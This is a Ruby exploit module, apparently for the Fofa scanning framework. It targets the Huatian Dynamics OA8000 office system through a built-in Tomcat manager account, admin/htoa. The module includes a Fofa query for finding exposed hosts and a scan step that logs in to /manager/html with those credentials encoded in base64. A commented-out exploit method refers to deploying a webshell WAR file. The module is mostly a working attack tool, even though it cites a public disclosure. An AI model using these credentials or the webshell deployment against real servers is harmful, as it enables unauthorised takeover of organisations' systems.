require 'fofa_core'
#require 'payload/webshell'

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => '华天动力OA系统（OA8000）默认管理帐号',
      'Description' => %q{
默认留了一个tomcat管理员帐号: admin/htoa。可以任意部署应用，类似后门。
          },
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => '华天动力OA系统',
      'Homepage' => 'http://www.oa8000.com/',
      'References' =>
          [
              ['wooyun', '2013-046931'],
          ],
      'DisclosureDate'=> '2014-06-01',
      'FofaQuery'=>'body="/OAapp/WebObjects/OAapp.woa"',
      'ScanSteps' =>
          [
            {
              'Request'=>
                 {
                    method: 'GET',
                    uri: '/manager/html',
                    data: '',
                    header: {'Authorization'=> 'Basic YWRtaW46aHRvYQ=='}
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 200
                    },
                    {
                      type: 'item',
                      varibale: '$body',
                      operation: 'contains',
                      value: '/OAapp'
                    }
                  ]
              }
            },
          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
    #if vulnerable(hostinfo)
    #  WebshellPayload.war_deploy(app:'htoa_test', password:'123', form:{})
    #else
    #  puts "not valnerable!"
    #end
  end
end